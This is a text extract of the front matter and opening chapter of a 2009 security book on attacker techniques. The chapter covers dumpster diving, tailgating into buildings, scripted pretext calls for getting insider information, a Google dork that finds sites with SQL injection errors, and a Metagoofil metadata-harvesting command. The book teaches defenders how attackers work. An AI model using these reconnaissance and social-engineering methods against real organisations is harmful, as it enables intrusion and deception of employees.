{ "pages": [ { "page_number": 1, "text": "" }, { "page_number": 2, "text": "Download at WoWeBook.Com\n" }, { "page_number": 3, "text": "Hacking: The Next Generation\nDownload at WoWeBook.Com\n" }, { "page_number": 4, "text": "Download at WoWeBook.Com\n" }, { "page_number": 5, "text": "Hacking: The Next Generation\nNitesh Dhanjani, Billy Rios, and Brett Hardin\nBeijing • Cambridge • Farnham • Köln • Sebastopol • Taipei • Tokyo\nDownload at WoWeBook.Com\n" }, { "page_number": 6, "text": "Hacking: The Next Generation\nby Nitesh Dhanjani, Billy Rios, and Brett Hardin\nCopyright © 2009 Nitesh Dhanjani. All rights reserved.\nPrinted in the United States of America.\nPublished by O’Reilly Media, Inc., 1005 Gravenstein Highway North, Sebastopol, CA 95472.\nO’Reilly books may be purchased for educational, business, or sales promotional use. Online editions\nare also available for most titles (http://my.safaribooksonline.com). For more information, contact our\ncorporate/institutional sales department: (800) 998-9938 or corporate@oreilly.com.\nEditor:\nMike Loukides\nProduction Editor:\nLoranah Dimant\nCopyeditor:\nAudrey Doyle\nProofreader:\nSada Preisch\nIndexer:\nSeth Maislin\nCover Designer:\nKaren Montgomery\nInterior Designer:\nDavid Futato\nIllustrator:\nRobert Romano\nPrinting History:\nSeptember 2009:\nFirst Edition. \nNutshell Handbook, the Nutshell Handbook logo, and the O’Reilly logo are registered trademarks of\nO’Reilly Media, Inc. Hacking: The Next Generation, the image of a pirate ship on the cover, and related\ntrade dress are trademarks of O’Reilly Media, Inc.\nMany of the designations used by manufacturers and sellers to distinguish their products are claimed as\ntrademarks. Where those designations appear in this book, and O’Reilly Media, Inc. was aware of a\ntrademark claim, the designations have been printed in caps or initial caps.\nWhile every precaution has been taken in the preparation of this book, the publisher and authors assume\nno responsibility for errors or omissions, or for damages resulting from the use of the information con-\ntained herein.\nTM\nThis book uses RepKover™, a durable and flexible lay-flat binding.\nISBN: 978-0-596-15457-8\n[M]\n1251474150\nDownload at WoWeBook.Com\n" }, { "page_number": 7, "text": "Table of Contents\nPreface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ix\n1. Intelligence Gathering: Peering Through the Windows to Your Organization . . . . . . 1\nPhysical Security Engineering\n1\nDumpster Diving\n2\nHanging Out at the Corporate Campus\n3\nGoogle Earth\n5\nSocial Engineering Call Centers\n6\nSearch Engine Hacking\n7\nGoogle Hacking\n7\nAutomating Google Hacking\n8\nExtracting Metadata from Online Documents\n9\nSearching for Source Code\n11\nLeveraging Social Networks\n12\nFacebook and MySpace\n13\nTwitter\n15\nTracking Employees\n16\nEmail Harvesting with theHarvester\n16\nResumés\n18\nJob Postings\n19\nGoogle Calendar\n21\nWhat Information Is Important?\n22\nSummary\n23\n2. Inside-Out Attacks: The Attacker Is the Insider . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25\nMan on the Inside\n26\nCross-Site Scripting (XSS)\n26\nStealing Sessions\n27\nInjecting Content\n28\nStealing Usernames and Passwords\n30\nAdvanced and Automated Attacks\n34\nv\nDownload at WoWeBook.Com\n" }, { "page_number": 8, "text": "Cross-Site Request Forgery (CSRF)\n37\nInside-Out Attacks\n38\nContent Ownership\n48\nAbusing Flash’s crossdomain.xml\n49\nAbusing Java\n51\nAdvanced Content Ownership Using GIFARs\n54\nStealing Documents from Online Document Stores\n55\nStealing Files from the Filesystem\n63\nSafari File Stealing\n63\nSummary\n69\n3. The Way It Works: There Is No Patch . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71\nExploiting Telnet and FTP\n72\nSniffing Credentials\n72\nBrute-Forcing Your Way In\n74\nHijacking Sessions\n75\nAbusing SMTP\n77\nSnooping Emails\n77\nSpoofing Emails to Perform Social Engineering\n78\nAbusing ARP\n80\nPoisoning the Network\n81\nCain & Abel\n81\nSniffing SSH on a Switched Network\n82\nLeveraging DNS for Remote Reconnaissance\n84\nDNS Cache Snooping\n85\nSummary\n88\n4. Blended Threats: When Applications Exploit Each Other . . . . . . . . . . . . . . . . . . . . . . 91\nApplication Protocol Handlers\n93\nFinding Protocol Handlers on Windows\n96\nFinding Protocol Handlers on Mac OS X\n99\nFinding Protocol Handlers on Linux\n101\nBlended Attacks\n102\nThe Classic Blended Attack: Safari’s Carpet Bomb\n103\nThe FireFoxUrl Application Protocol Handler\n108\nMailto:// and the Vulnerability in the ShellExecute Windows API\n111\nThe iPhoto Format String Exploit\n114\nBlended Worms: Conficker/Downadup\n115\nFinding Blended Threats\n118\nSummary\n119\n5. Cloud Insecurity: Sharing the Cloud with Your Enemy . . . . . . . . . . . . . . . . . . . . . . . 121\nWhat Changes in the Cloud\n121\nvi | Table of Contents\nDownload at WoWeBook.Com\n" }, { "page_number": 9, "text": "Amazon’s Elastic Compute Cloud\n122\nGoogle’s App Engine\n122\nOther Cloud Offerings\n123\nAttacks Against the Cloud\n123\nPoisoned Virtual Machines\n124\nAttacks Against Management Consoles\n126\nSecure by Default\n140\nAbusing Cloud Billing Models and Cloud Phishing\n141\nGoogling for Gold in the Cloud\n144\nSummary\n146\n6. Abusing Mobile Devices: Targeting Your Mobile Workforce . . . . . . . . . . . . . . . . . . . 149\nTargeting Your Mobile Workforce\n150\nYour Employees Are on My Network\n150\nGetting on the Network\n152\nDirect Attacks Against Your Employees and Associates\n162\nPutting It Together: Attacks Against a Hotspot User\n166\nTapping into Voicemail\n171\nExploiting Physical Access to Mobile Devices\n174\nSummary\n175\n7. Infiltrating the Phishing Underground: Learning from Online Criminals? . . . . . . . 177\nThe Fresh Phish Is in the Tank\n178\nExamining the Phishers\n179\nNo Time to Patch\n179\nThank You for Signing My Guestbook\n182\nSay Hello to Pedro!\n184\nIsn’t It Ironic?\n189\nThe Loot\n190\nUncovering the Phishing Kits\n191\nPhisher-on-Phisher Crime\n193\nInfiltrating the Underground\n195\nGoogle ReZulT\n196\nFullz for Sale!\n197\nMeet Cha0\n198\nSummary\n200\n8. Influencing Your Victims: Do What We Tell You, Please . . . . . . . . . . . . . . . . . . . . . . 201\nThe Calendar Is a Gold Mine\n201\nInformation in Calendars\n202\nWho Just Joined?\n203\nCalendar Personalities\n204\nSocial Identities\n206\nTable of Contents | vii\nDownload at WoWeBook.Com\n" }, { "page_number": 10, "text": "Abusing Social Profiles\n207\nStealing Social Identities\n210\nBreaking Authentication\n212\nHacking the Psyche\n217\nSummary\n220\n9. Hacking Executives: Can Your CEO Spot a Targeted Attack? . . . . . . . . . . . . . . . . . . . 223\nFully Targeted Attacks Versus Opportunistic Attacks\n223\nMotives\n224\nFinancial Gain\n224\nVengeance\n225\nBenefit and Risk\n226\nInformation Gathering\n226\nIdentifying Executives\n226\nThe Trusted Circle\n227\nTwitter\n230\nOther Social Applications\n232\nAttack Scenarios\n232\nEmail Attack\n233\nTargeting the Assistant\n238\nMemory Sticks\n239\nSummary\n240\n10. Case Studies: Different Perspectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 241\nThe Disgruntled Employee\n241\nThe Performance Review\n241\nSpoofing into Conference Calls\n243\nThe Win\n245\nThe Silver Bullet\n245\nThe Free Lunch\n246\nThe SSH Server\n247\nTurning the Network Inside Out\n249\nA Fool with a Tool Is Still a Fool\n252\nSummary\n253\nA. Chapter 2 Source Code Samples . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 255\nB. Cache_Snoop.pl . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 265\nIndex . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 269\nviii | Table of Contents\nDownload at WoWeBook.Com\n" }, { "page_number": 11, "text": "Preface\nAttack vectors that seemed fantastical in the past are now a reality. The reasons for this\nare twofold. First, the need for mobility and agility in technology has made the tradi-\ntional perimeter-based defense model invalid and ineffective. The consumption of\nservices in the cloud, the use of wireless access points and mobile devices, and the access\ngranted to contingent workers have made the concept of the perimeter irrelevant and\nmeaningless. This issue is further amplified by the increased complexity of and trust\nplaced on web browsers, which when successfully exploited can turn the perimeter\ninside out. Second, the emergence of Generation Y culture in the workforce is facili-\ntating the use of social media and communication platforms to the point where citizens\nare sharing critical data about themselves that has been nearly impossible to capture\nremotely in the past.\nThe new generation of attackers is aware of risks in emerging technologies and knows\nhow to exploit the latest platforms to the fullest extent. This book will expose the skill\nset and mindset that today’s sophisticated attackers employ to abuse technology and\npeople so that you can learn how to protect yourself from them.\nAudience\nThis book is for anyone interested in learning the techniques that the more sophisti-\ncated attackers are using today. Other books on the topic have the habit of rehashing\nlegacy attack and penetration methodologies that are no longer of any use to criminals.\nIf you want to learn how the techniques criminals use today have evolved to contain\ncrafty tools and procedures that can compromise a targeted individual or an enterprise,\nthis book is for you.\nAssumptions This Book Makes\nThis book assumes you are familiar with and can graduate beyond elementary attack\nand penetration techniques, such as the use of port scanners and network analyzers. A\nbasic understanding of common web application flaws will be an added plus.\nix\nDownload at WoWeBook.Com\n" }, { "page_number": 12, "text": "Contents of This Book\nThis book is divided into 10 chapters. Here’s a summary of what we cover:\nChapter 1, Intelligence Gathering: Peering Through the Windows to Your Organization\nTo successfully execute an attack against any given organization, the attacker must\nfirst perform reconnaissance to gather as much intelligence about the organization\nas possible. In this chapter, we look at traditional attack methods as well as how\nthe new generation of attackers is able to leverage new technologies for information\ngathering.\nChapter 2, Inside-Out Attacks: The Attacker Is the Insider\nNot only does the popular perimeter-based approach to security provide little risk\nreduction today, but it is in fact contributing to an increased attack surface that\ncriminals are using to launch potentially devastating attacks. The impact of the\nattacks illustrated in this chapter can be extremely devastating to businesses that\napproach security with a perimeter mindset where the insiders are generally trusted\nwith information that is confidential and critical to the organization.\nChapter 3, The Way It Works: There Is No Patch\nThe protocols that support network communication, which are relied upon for the\nInternet to work, were not specifically designed with security in mind. In this\nchapter, we study why these protocols are weak and how attackers have and will\ncontinue to exploit them.\nChapter 4, Blended Threats: When Applications Exploit Each Other\nThe amount of software installed on a modern computer system is staggering. With\nso many different software packages on a single machine, the complexity of man-\naging the interactions between these software packages becomes increasingly com-\nplex. Complexity is the friend of the next-generation hacker. This chapter exposes\nthe techniques used to pit software against software. We present the various blen-\nded threats and blended attacks so that you can gain some insight as to how these\nattacks are executed and the thought process behind blended exploitation.\nChapter 5, Cloud Insecurity: Sharing the Cloud with Your Enemy\nCloud computing is seen as the next generation of computing. The benefits, cost\nsavings, and business justifications for moving to a cloud-based environment are\ncompelling. This chapter illustrates how next-generation hackers are positioning\nthemselves to take advantage of and abuse cloud platforms, and includes tangible\nexamples of vulnerabilities we have discovered in today’s popular cloud platforms.\nChapter 6, Abusing Mobile Devices: Targeting Your Mobile Workforce\nToday’s workforce is a mobile army, traveling to the customer and making business\nhappen. The explosion of laptops, wireless networks, and powerful cell phones,\ncoupled with the need to “get things done,” creates a perfect storm for the next-\ngeneration attacker. This chapter walks through some scenarios showing how the\nmobile workforce can be a prime target of attacks.\nx | Preface\nDownload at WoWeBook.Com\n" }, { "page_number": 13, "text": "Chapter 7, Infiltrating the Phishing Underground: Learning from Online Criminals?\nPhishers are a unique bunch. They are a nuisance to businesses and legal authorities\nand can cause a significant amount of damage to a person’s financial reputation.\nIn this chapter, we infiltrate and uncover this ecosystem so that we can shed some\nlight on and advance our quest toward understanding this popular subset of the\nnew generation of criminals.\nChapter 8, Influencing Your Victims: Do What We Tell You, Please\nThe new generation of attackers doesn’t want to target only networks, operating\nsystems, and applications. These attackers also want to target the people who have\naccess to the data they want to get a hold of. It is sometimes easier for an attacker\nto get what she wants by influencing and manipulating a human being than it is to\ninvest a lot of time finding and exploiting a technical vulnerability. In this chapter,\nwe look at the crafty techniques attackers employ to discover information about\npeople to influence them.\nChapter 9, Hacking Executives: Can Your CEO Spot a Targeted Attack?\nWhen attackers begin to focus their attacks on specific corporate individuals, ex-\necutives often become the prime target. These are the “C Team” members of the\ncompany—for instance, chief executive officers, chief financial officers, and chief\noperating officers. Not only are these executives in higher income brackets than\nother potential targets, but also the value of the information on their laptops can\nrival the value of information in the corporation’s databases. This chapter walks\nthrough scenarios an attacker may use to target executives of large corporations.\nChapter 10, Case Studies: Different Perspectives\nThis chapter presents two scenarios on how a determined hacker can cross-\npollinate vulnerabilities from different processes, systems, and applications to\ncompromise businesses and steal confidential data.\nIn addition to these 10 chapters, the book also includes two appendixes. Appendix A\nprovides the source code samples from Chapter 2, and Appendix B provides the com-\nplete Cache_snoop.pl script, which is designed to aid in exploiting DNS servers that are\nsusceptible to DNS cache snooping.\nConventions Used in This Book\nThe following typographical conventions are used in this book:\nItalic\nIndicates new terms, URLs, email addresses, filenames, file extensions, pathnames,\ndirectories, and Unix utilities\nConstant width\nIndicates commands, options, switches, variables, attributes, keys, functions,\ntypes, classes, namespaces, methods, modules, properties, parameters, values, ob-\njects, events, event handlers, XML tags, HTML tags, macros, the contents of files,\nand the output from commands\nPreface | xi\nDownload at WoWeBook.Com\n" }, { "page_number": 14, "text": "Constant width bold\nShows commands and other text that should be typed literally by the user\nConstant width italic\nShows text that should be replaced with user-supplied values\nThis icon signifies a tip, suggestion, or general note.\nThis icon indicates a warning or caution.\nUsing Code Examples\nThis book is here to help you get your job done. In general, you may use the code in\nthis book in your own configurations and documentation. You do not need to contact\nus for permission unless you’re reproducing a significant portion of the material. For\nexample, writing a program that uses several chunks of code from this book does not\nrequire permission. Selling or distributing a CD-ROM of examples from this book does\nrequire permission.\nWe appreciate, but do not require, attribution. An attribution usually includes the title,\nauthor, publisher, and ISBN. For example: “Hacking: The Next Generation, by Nitesh\nDhanjani, Billy Rios, and Brett Hardin. Copyright 2009, Nitesh Dhanjani,\n978-0-596-15457-8.”\nIf you feel your use of code examples falls outside fair use or the permission given here,\nfeel free to contact us at permissions@oreilly.com.\nWe’d Like to Hear from You\nPlease address comments and questions concerning this book to the publisher:\nO’Reilly Media, Inc.\n1005 Gravenstein Highway North\nSebastopol, CA 95472\n800-998-9938 (in the United States or Canada)\n707-829-0515 (international or local)\n707-829-0104 (fax)\nWe have a web page for this book, where we list errata, examples, and any additional\ninformation. You can access this page at:\nhttp://www.oreilly.com/catalog/9780596154578\nxii | Preface\nDownload at WoWeBook.Com\n" }, { "page_number": 15, "text": "To comment or ask technical questions about this book, send email to:\nbookquestions@oreilly.com\nFor more information about our books, conferences, Resource Centers, and the\nO’Reilly Network, see our website at:\nhttp://www.oreilly.com\nSafari® Books Online\nSafari Books Online is an on-demand digital library that lets you easily\nsearch over 7,500 technology and creative reference books and videos to\nfind the answers you need quickly.\nWith a subscription, you can read any page and watch any video from our library online.\nRead books on your cell phone and mobile devices. Access new titles before they are\navailable for print, and get exclusive access to manuscripts in development and post\nfeedback for the authors. Copy and paste code samples, organize your favorites, down-\nload chapters, bookmark key sections, create notes, print out pages, and benefit from\ntons of other time-saving features.\nO’Reilly Media has uploaded this book to the Safari Books Online service. To have full\ndigital access to this book and others on similar topics from O’Reilly and other pub-\nlishers, sign up for free at http://my.safaribooksonline.com.\nAcknowledgments\nThanks to Mike Loukides for accepting the book proposal and for his guidance\nthroughout the writing process. A big thank you goes to the design team at O’Reilly\nfor creating such a fantastic book cover. Thanks also to the rest of the O’Reilly team—\nLaurel Ackerman, Maria Amodio, Karen Crosby, Audrey Doyle, Edie Freedman,\nJacque McIlvaine, Rachel Monaghan, Karen Montgomery, Marlowe Shaeffer, and\nKaren Shaner.\nAlso, thanks to Mark Lucking for reviewing our chapters.\nNitesh would like to thank Richard Dawkins for his dedication in promoting the public\nunderstanding of science. At a time when reason increasingly seems unfashionable,\nRichard’s rhetoric provided comfort and hope that were instrumental in gathering up\nthe energy and enthusiasm needed to write this book (and for other things).\nBilly would like to thank his family for their encouragement, his wife for her unending\nsupport, and his daughter for her smiles.\nBrett would like to thank his wife for allowing him many long days and nights away\nfrom his family.\nPreface | xiii\nDownload at WoWeBook.Com\n" }, { "page_number": 16, "text": "Download at WoWeBook.Com\n" }, { "page_number": 17, "text": "CHAPTER 1\nIntelligence Gathering: Peering\nThrough the Windows to Your\nOrganization\nTo successfully execute an attack against an organization, the attacker must first per-\nform reconnaissance to gather as much intelligence about the organization as possible. \nMany traditional methods for gaining intelligence about targets still work today, such\nas dumpster diving, querying public databases, and querying search engines. However,\nnew methods that rely on gathering information from technologies such as social net-\nworking applications are becoming more commonplace. In this chapter, we will discuss\nthe traditional methods as well as how the new generation of attackers is able to abuse\nnew technologies to gather information.\nFrom the attacker’s point of view, it is extremely important to perform reconnaissance\nas surreptitiously as possible. Since information gathering is one of the first steps the\nattacker may perform, he must take care not to do anything that may alert the target.\nThe techniques in this chapter will therefore concentrate on methods that allow an\nattacker to gather information without sending a single network packet toward the\ntarget.\nInformation gathered during reconnaissance always ends up aiding the attacker in some\nway, even if it isn’t clear early on how the information is useful. Attackers want to obtain\nas much information about their target as possible, knowing that the data they collect,\nif not immediately useful, will most likely be useful in later stages of the attack.\nPhysical Security Engineering\nGathering information through physical means is a traditional tactic that attackers have\nbeen using for a while now. Some examples of information that an attacker can obtain\nfrom these methods include network diagrams, financial information, floor plans,\n1\nDownload at WoWeBook.Com\n" }, { "page_number": 18, "text": "phone lists, and information regarding conflicts and communications among\nemployees.\nIn the next section, we will look at the different techniques attackers use to gather\nintelligence by physical means.\nDumpster Diving\nDumpster diving, also called “trashing,” is a method of information gathering in which\nan attacker searches through on-site trash cans and dumpsters to gather information\nabout the target organization. This technique is not new, yet attackers are still able to\nuse it to gather substantial amounts of intelligence. Methods have been developed to\nattempt to prevent attackers from dumpster diving, such as shredding sensitive data\nand using off-site companies to securely dispose of sensitive documents.\nEven though some companies have taken preventive measures to prevent dumpster\ndiving, attackers can still gather information if they are willing to go through a target’s\ntrash. Instead of securely disposing of trash, employees often throw away information\nthat is considered sensitive into the nearest trash can. Humans are creatures of habit\nand convenience. Why would a person want to walk 25 feet to dispose of something\nwhen there is a trash can under her desk?\nFigure 1-1 shows a printer cover sheet that exposes the username of the person who\nrequested the print job. Even this username on a piece of paper is an important find\nfor an attacker because it helps the attacker understand how the corporation handles\nusernames (the first letter of the user’s first name, capitalized, appended to the user’s\nlast name, initial-capped). This knowledge gives the attacker an understanding of how\nto formulate an individual’s corporate username. The attacker can then use this to\nconduct further attacks, such as brute force password cracking.\nFigure 1-1. Printer banner exposing a username\n2 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n" }, { "page_number": 19, "text": "On-site dumpsters are typically easy for attackers to access and often have no locks to\nsecure their contents. Even if locks do exist, attackers can easily bypass them to expose\nthe dumpsters’ contents.\nMore and more attackers are learning ways to bypass locks. Information security con-\nferences often conduct lock-picking contests in which contestants are judged based on\nthe speed with which they can pick a lock or the variety of locks they can bypass.\nFigure 1-2 shows a photo of the electronic timing system used to test contestants’ speed\nin bypassing a lock at the DEFCON 12 hacker convention. Even locks don’t prevent\nattackers from going through the contents of a dumpster.\nFigure 1-2. Electronic timing system at DEFCON 12’s lock-picking contest (picture provided by\nDeviant Ollam)\nAs long as attackers can obtain useful information from trash cans and dumpsters,\ndumpster diving will continue to be an avenue for information gathering.\nHanging Out at the Corporate Campus\nAttackers often go on-site, to the corporate location, to gain more information about\ntheir targets. Attackers have determined they can gain intricate knowledge about an\norganization just by walking around the corporate campus and overhearing work\nconversations.\nEmployees are often oblivious to the fact that some people walking around corporate\ncampuses aren’t company employees. Attackers can overhear conversations regarding\nconfidential topics such as IPOs, products in development, and impending layoffs. This\ninformation can become useful in social engineering attacks involving phone calls and\nemails, which we will address in later chapters. For now, here is a sample conversation\nthat is typical of what an attacker may overhear at a corporate campus, involving two\nemployees walking to their cars:\nPhysical Security Engineering | 3\nDownload at WoWeBook.Com\n" }, { "page_number": 20, "text": "Sam: …but that’s why the Rams won the game.\nBob: Yeah, but it was a close game.\nSam: The seats were unbelievable. I wish you and Sally could’ve come.\nBob: Yeah, me too; too many conference calls last night with the investment bank.\nSam: I forgot about that. How is the IPO work going anyway?\nBob: Pretty good. We have obtained underwriting from Large Investment Bank XYZ\nCorporation. The share price is currently being set at around 15. The bank thinks that\nis around 70% of what the stock will go for on the open market.\nSam: Well, that should be a nice little investment for them.\nBob: Yeah. Well, our shares should be worth more after the 180-day waiting period too.\nSam: All right! That’s what I like to hear.\nThe information that is exposed in this conversation may not seem super-sensitive. But\nthis information may aid an attacker in gaining an employee’s trust, since he knows\nabout the IPO work that is being done. This information may even help someone who\nis not an attacker. It may help a non-critical employee or some other person who was\nwalking around the corporate campus that day.\nCigarette smokers are easy targets for gathering information about an organization.\nTypically, smokers have designated areas for their breaks; attackers can hang out in\nthese areas, asking for “a light” and beginning a conversation with an employee about\ninternal projects or intellectual property.\nThe following is a conversation involving a person who appears to be an employee\nwalking back to the building from lunch. The person stops and lights a cigarette and\nbegins a conversation with a director at the company.\nEmployee: How’s it going?\nDirector: Good. (Reading a newspaper)\nEmployee: Good to hear. (Waits patiently)\n*After a few seconds*\nDirector: You know, every time I read one of these electronics ads, I want to go to the\nstore and buy something. But once I get there I realize why I don’t go there. They have\nhorrible customer service.\nEmployee: I totally agree. What are you interested in purchasing?\nDirector: Well, I was thinking about the....\n*General small talk regarding television sets*\nEmployee: Yeah, I would get the LCD television. So, when is the Q4 earnings call? I don’t\nthink I received an email with the date yet.\nDirector: January 25. But it’s a year-end call. As you know, here at Large Organization\nwe have year-end calls instead of Q4 calls.\n4 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n" }, { "page_number": 21, "text": "Employee: How are we handling ourselves with the way the economy is going right now?\nDirector: Well, I can’t comment. It would be considered insider information. I wouldn’t\nwant you to suffer from insider trading.\nEmployee: Yeah, I understand. You can’t be too careful nowadays.\nDirector: Nothing to be concerned about. (She walks toward the door.)\nEmployee: I just want to know if I will have a job next year at this time. Ha!\nDirector: Don’t worry about that. We did better this year than last year, even with the\nslumping economy. Have a good day.\nEmployee: Have a good one.\nEven though the director stated she couldn’t give out “insider” information, she still\ndid. She stated, “We did better this year than last year.” This is exactly the type of\ninformation the attacker is looking for.\nIn addition to overhearing or engaging in conversations on corporate campuses, at-\ntackers will attempt to follow employees into buildings. This is referred to as “piggy-\nbacking” and can be quite successful. Once inside a building, the attacker may attempt\nto check for unlocked doors that may provide additional areas to access or may expose\nthe attacker to more corporate information.\nWhile attempting a physical penetration test for a client, we, the authors of this book,\nwere able to piggyback an employee into a building. Once inside the building, we began\nto open doors to see which additional areas we might be able to access. We discovered\nan unlocked room in which employee badges were created. We created badges for\nourselves (the computer’s password was the name of the company) and we no longer\nneeded to piggyback employees into the building.\nGoogle Earth\nGoogle Earth is free mapping software provided by Google. An attacker can use Google\nEarth to view a map of his target’s physical location before arriving on-site, providing\nhim with spatial knowledge of the target environment. The attacker will have an easier\ntime blending in with other employees if he already knows the general path other em-\nployees take. Figure 1-3 shows O’Reilly’s corporate campus from Google Earth.\nIn addition to the spatial knowledge of a target, Google Earth also provides an easy way\nfor attackers to plan entrance and escape routes. Attacks involving conflict, such as\nthose involving the police, can easily be premeditated using Google Earth. The time it\nwill take response teams, such as fire, medical, and law enforcement, to arrive can be\ncalculated using this application.\nGoogle Earth | 5\nDownload at WoWeBook.Com\n" }, { "page_number": 22, "text": "Figure 1-3. O’Reilly campus as seen from Google Earth\nSocial Engineering Call Centers\nSocial engineering is the art of obtaining information from people who don’t want to\ngive it. Journalists, law enforcement officers, and lawyers learn these skills as a trade.\nThey learn techniques to intimidate or sympathize with a person so that the person\n“reveals her hand.” Attackers use similar techniques to gather sensitive information\nfrom unsuspecting victims.\nCall centers are a target for social engineering because they offer a great way to directly\ninteract with employees from a given company. The company call center provides an\nattacker with a large population of targets. If these targets become hostile or become\naware of the attacker, the attacker just needs to hang up and try again.\nAttackers often seek targets who are new to the organization, are easily intimidated, or\ndon’t like dealing with confrontation. Call centers allow the attacker to leave a small\nfootprint, meaning there is little chance the organization will even know that it is being\nattacked.\nA sample conversation between an attacker posing as a consumer and a call center\nemployee may go something like this:\nEmployee: Thank you for calling Large Organization. Can I get your account number?\nCaller: Yeah, sure. I think it is 55560-5-2219, but I could be wrong. I haven’t called in\nbefore.\nEmployee: That’s all right; give me a few minutes while I look up that account’s\ninformation.\nCaller: No problem. How is your day going? (Jovial tone)\nEmployee: I can’t complain. It’s just been a little hectic around here with the merger and\nall.\n6 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n" }, { "page_number": 23, "text": "Caller: I read about that. It’s with Company X, right?\nEmployee: Yeah, a lot of us aren’t sure if there will be positions for us once the merger\nis complete.\nCaller: Sorry to hear that.\nEmployee: I can’t find any information for the account number you gave me. Are you\nsure that is your account number?\nCaller (ruffle of papers): I will have to look around and see if I can find it. I will call back\nlater.\nEmployee: Okay. Thanks for calling Large Organization. Have a great day.\nThe information the attacker received could be considered sensitive in nature. The\nattacker obtained information suggesting that Company X may be laying off employees\nbecause of a merger. He also discovered that Company X might be laying off people\nspecifically from the support department that he called. This information could be\nuseful to a competing organization. An attacker could then call recently laid-off people,\nassuming the role of a hiring manager, to get more information about the target\norganization.\nSearch Engine Hacking\nSearch engines, by definition, are used to find and locate information on the World\nWide Web. In addition to using search engines to search for information, attackers\nhave ways of using search engines to identify and locate vulnerabilities and confidential\ndata.\nUsing search engines to find vulnerabilities offers a way for attackers to probe a network\nwithout the target’s knowledge since the entire search request and response come from\nthe search engine and not the target. The attacker doesn’t leave a footprint since he is\nnot sending information to the target. Attackers also use a cached page to view the\ninformation, instead of accessing the site directly, which creates another layer of pro-\ntection for them.\nGoogle Hacking\nNumerous books and presentations discuss how to gather “sensitive” information from\nGoogle. Attackers can use Google to gather basic information such as contact lists,\ninternal documents, and top-level organizational structures, as well as locate potential\nvulnerabilities in an organization’s web application.\nAttackers can use a specific type of search query, called a dork, to locate security issues\nor confidential data. Attackers can use dorks to obtain firewall logs and customer data,\nand to find ways to access an organization’s database.\nSearch Engine Hacking | 7\nDownload at WoWeBook.Com\n" }, { "page_number": 24, "text": "Security professionals have developed public databases of dorks. Dork databases exist\nfor several different search engines; the most common dork database is the Google\nHacking Database.\nThe Google Hacking Database (GHDB) is a great resource for finding\ndorks that can aid an attacker. The GHDB is located at http://johnny\n.ihackstuff.com/ghdb/.\nUsing a dork is relatively simple. An attacker locates a dork of interest, and then uses\nGoogle to search for the dork. The following code is a dork that attempts to identify\nweb applications that are susceptible to an SQL injection vulnerability by searching for\na MySQL error message that commonly signifies the existence of an SQL injection flaw:\n\"Unable to jump to row\" \"on MySQL result index\" \"on line\"\nAn attacker can limit the dork to a certain domain by adding the site: directive to the\nquery string. For example, here is a Google query that is limited to the example.com\ndomain:\n\"Unable to jump to row\" \"on MySQL result index\" \"on line\" site:example.com\nFigure 1-4 illustrates the execution of the SQL injection dork. Notice that more than\n900,000 results were returned!\nAutomating Google Hacking\nAn attacker can use the Search Engine Assessment Tool (SEAT), developed by Midnight\nResearch Labs, to automate Google hacking. SEAT uses search engines and search\ncaches to search for vulnerabilities for a particular domain.\nSEAT supports multiple search engines, including Google, Yahoo!, and MSN. SEAT\nalso has a variety of built-in dorks. The databases that SEAT uses (shown in Fig-\nure 1-5) were compiled from multiple sources, including the GHDB and Nikto.\nFigure 1-4. Execution of an SQL injection dork\n8 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n" }, { "page_number": 25, "text": "An attacker can select multiple databases and search engines when using SEAT. Along\nwith SEAT’s multithreading, these features aid the attacker greatly when he’s gathering\ninformation via search engine hacking. Figure 1-6 shows SEAT during the execution\nstage running 15 simultaneous queries.\nYou can obtain the latest version of SEAT from http://midnightresearch\n.com/projects/search-engine-assessment-tool/.\nExtracting Metadata from Online Documents\nMetadata is “data about other data.” A good example of metadata is the data that is\noften inserted into Microsoft Office documents such as Word. For instance, Microsoft\nWord inserts data such as usernames and folder paths of the author’s machine. At-\ntackers can extract this metadata from documents that corporations have put online.\nUsing search engines, attackers can use specific directives to limit their results to specific\nfile types that are known to include metadata. For example, the Google directive\nfiletype:doc will return only Microsoft Word files. The following is a query that returns\nonly PowerPoint presentations that contain the phrase “Q4 Expenses”:\nfiletype:ppt \"Q4 Expenses\"\nFigure 1-5. SEAT’s different built-in vulnerability databases\nAttackers query Google using such queries; then they download the documents that\nare returned and examine them, pulling out any metadata stored within them.\nSearch Engine Hacking | 9\nDownload at WoWeBook.Com\n" }, { "page_number": 26, "text": "Metagoofil is an automated tool that queries Google to find documents that are known\nto contain metadata. Metagoofil will query Google using a specific domain, download\nthe files that are returned, and then attempt to extract the contents. Here is a demon-\nstration of Metagoofil being used against example.com:\n$ python metagoofil.py -d example.com -f all -l 3 -o example.html -t DL\n*************************************\n*MetaGooFil Ver. 1.4a *\n*Coded by Christian Martorella *\n*Edge-Security Research *\n*cmartorella@edge-security.com *\n*************************************\n[+] Command extract found, proceeding with leeching\n[+] Searching in example.com for: pdf\n[+] Total results in google: 5300\n[+] Limit: 3\n [ 1/3 ] http://www.example.com/english/lic/gl_app1.pdf\n [ 2/3 ] http://www.example.com/english/lic/gl_app2.pdf\n [ 3/3 ] http://www.example.com/english/lic/gl_app3.pdf\n[+] Searching in example.com for: doc\n[+] Total results in google: 1500\n[+] Limit: 3\n [ 1/3 ] http://www.example.com/english/lic/gl_app1.doc\n [ 2/3 ] http://www.example.com/english/lic/gl_app2.doc\n [ 3/3 ] http://www.example.com/english/lic/gl_app3.doc\n[+] Searching in example.com for: xls\n[+] Total results in google: 20\n[+] Limit: 3\n [ 1/3 ] http://www.example.com/english/lic/gl_app1.xls\n [ 2/3 ] http://www.example.com/english/lic/gl_app2.xls\n [ 3/3 ] 